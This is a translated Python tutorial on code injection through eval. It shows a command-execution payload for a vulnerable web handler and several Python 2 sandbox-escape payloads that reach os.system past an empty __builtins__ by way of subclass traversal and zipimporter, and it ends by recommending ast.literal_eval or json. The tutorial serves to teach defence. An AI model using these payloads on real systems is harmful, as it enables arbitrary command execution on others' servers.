Home > Backend Development > Python Tutorial > Introduction to common error encapsulation and utilization principles of Python eval

Introduction to common error encapsulation and utilization principles of Python eval

不言
Release: 2019-03-25 10:12:11
forward
2776 people have browsed it

This article brings you an introduction to the common error encapsulation and utilization principles of Python eval. It has certain reference value. Friends in need can refer to it. I hope it will be helpful to you.

Recently during the code review process, I found that there are many problems with code injection caused by incorrect use of eval. A typical one is to use eval as parsing dict. Some simply use eval, and some use wrong encapsulation. eval is used by all products, which leads to more serious problems. These are bloody lessons, so everyone should pay more attention when using them.

The following is an example of an actual product. For details, see [bug83055][1]:

def remove(request, obj):
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)
Copy after login

The query is directly converted from POST and can be directly controlled by the user. If the user Enter oper_type=__import__('os').system('sleep 5') in the url parameter, and you can execute the sleep command. Of course, you can also execute any system command or any executable code. The harm is obvious, so let's take a look at eval What exactly does it do, and how to do it safely?

1, what to do

Simply put, it is to execute an expression

>>> eval('2+2')
4
>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}
>>> eval("__import__('os').system('uname')", {})
Linux
0
Copy after login

From these three pieces of code, the first one is obviously used for calculation, and the second one is for calculation A data type that converts string type data into python, here is dict. This is also a common mistake in our products. The third one is what the bad boy does, executing system commands.

eval can accept three parameters, eval(source[, globals[, locals]]) -> value

globals must be a path, and locals must be a key-value pair, which is taken by default System globals and locals

2, incorrect encapsulation

(1) Let’s look at a section of the encapsulation function in one of our product codes, see [bug][2], or network Search for codes with higher rankings, eg:

def safe_eval(eval_str):
    try:
        #加入命名空间
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''
Copy after login

Here __builtins__ is set to empty, so built-in variables like __import__ are gone. Is this encapsulated function safe? Let me go step by step:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',
Copy after login

List items

'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', ' ZeroDivisionError', '_', 'debug', 'doc', 'import', 'name', 'package', 'abs', 'all', 'any', 'apply', 'basestring', 'bin' , 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', ' credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format' , 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', ' issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object' , 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', ' reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr' , 'unicode', 'vars', 'xrange', 'zip']

From __builtins__, you can see that there is __import__ in its module, which can be used to perform some operations of os. If it is set to empty and then the eval function is executed, the result is as follows:

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name &#39;__import__&#39; is not defined
Copy after login

Now it is prompted that __import__ is undefined and cannot be executed successfully. Is it safe? The answer is of course wrong.

For example, the execution is as follows:

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {&#39;__builtins__&#39;:{}})
Segmentation fault (core dumped)
Copy after login

Here the user defines a function, and the call of this function directly causes a segmentation fault

The following code exits the interpreter:

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{&#39;__builtins__&#39;:{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $
Copy after login

Let’s have a preliminary understanding of the whole process:

>>> ().__class__.__bases__[0].__subclasses__()
[<type &#39;type&#39;>, <type &#39;weakref&#39;>, <type &#39;weakcallableproxy&#39;>, <type &#39;weakproxy&#39;>, <type &#39;int&#39;>, <type &#39;basestring&#39;>, <type &#39;bytearray&#39;>, <type &#39;list&#39;>, <type &#39;NoneType&#39;>, <type &#39;NotImplementedType&#39;>, <type &#39;traceback&#39;>, <type &#39;super&#39;>, <type &#39;xrange&#39;>, <type &#39;dict&#39;>, <type &#39;set&#39;>, <type &#39;slice&#39;>, <type &#39;staticmethod&#39;>, <type &#39;complex&#39;>, <type &#39;float&#39;>, <type &#39;buffer&#39;>, <type &#39;long&#39;>, <type &#39;frozenset&#39;>, <type &#39;property&#39;>, <type &#39;memoryview&#39;>, <type &#39;tuple&#39;>, <type &#39;enumerate&#39;>, <type &#39;reversed&#39;>, <type &#39;code&#39;>, <type &#39;frame&#39;>, <type &#39;builtin_function_or_method&#39;>, <type &#39;instancemethod&#39;>, <type &#39;function&#39;>, <type &#39;classobj&#39;>, <type &#39;dictproxy&#39;>, <type &#39;generator&#39;>, <type &#39;getset_descriptor&#39;>, <type &#39;wrapper_descriptor&#39;>, <type &#39;instance&#39;>, <type &#39;ellipsis&#39;>, <type &#39;member_descriptor&#39;>, <type &#39;file&#39;>, <type &#39;sys.long_info&#39;>, <type &#39;sys.float_info&#39;>, <type &#39;EncodingMap&#39;>, <type &#39;sys.version_info&#39;>, <type &#39;sys.flags&#39;>, <type &#39;exceptions.BaseException&#39;>, <type &#39;module&#39;>, <type &#39;imp.NullImporter&#39;>, <type &#39;zipimport.zipimporter&#39;>, <type &#39;posix.stat_result&#39;>, <type &#39;posix.statvfs_result&#39;>, <class &#39;warnings.WarningMessage&#39;>, <class &#39;warnings.catch_warnings&#39;>, <class &#39;_weakrefset._IterationGuard&#39;>, <class &#39;_weakrefset.WeakSet&#39;>, <class &#39;_abcoll.Hashable&#39;>, <type &#39;classmethod&#39;>, <class &#39;_abcoll.Iterable&#39;>, <class &#39;_abcoll.Sized&#39;>, <class &#39;_abcoll.Container&#39;>, <class &#39;_abcoll.Callable&#39;>, <class &#39;site._Printer&#39;>, <class &#39;site._Helper&#39;>, <type &#39;_sre.SRE_Pattern&#39;>, <type &#39;_sre.SRE_Match&#39;>, <type &#39;_sre.SRE_Scanner&#39;>, <class &#39;site.Quitter&#39;>, <class &#39;codecs.IncrementalEncoder&#39;>, <class &#39;codecs.IncrementalDecoder&#39;>, <type &#39;Struct&#39;>, <type &#39;cStringIO.StringO&#39;>, <type &#39;cStringIO.StringI&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>]
Copy after login

The meaning of this python code is to find the class of tuple, then find its base class, which is object, and then find its subclass through object. , the specific subclass is also the same as the output in the code. You can see from it that there are file module and zipimporter module. Can they be used? First start with file

If the user constructs:

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{&#39;__builtins__&#39;:{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode
Copy after login

This restricted mode is simply understood as the sandbox of the python interpreter. Some functions are restricted, such as not being able to modify the system or use some System functions, such as file, see Restricted Execution Mode for details. How to bypass it? At this time we thought of zipimporter. If the imported module references the os module, we can use it like the following code.

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{&#39;__builtins__&#39;:{}})
Linux
0
Copy after login

This verifies that the safe_eval just now is actually unsafe.

3, how to use

correctly (1) Use ast.literal_eval

(2) If you just convert characters to dict, you can use json format

This article has ended here. For more other exciting content, you can pay attention to the python video tutorial column on the PHP Chinese website!

The above is the detailed content of Introduction to common error encapsulation and utilization principles of Python eval. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:推酷
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template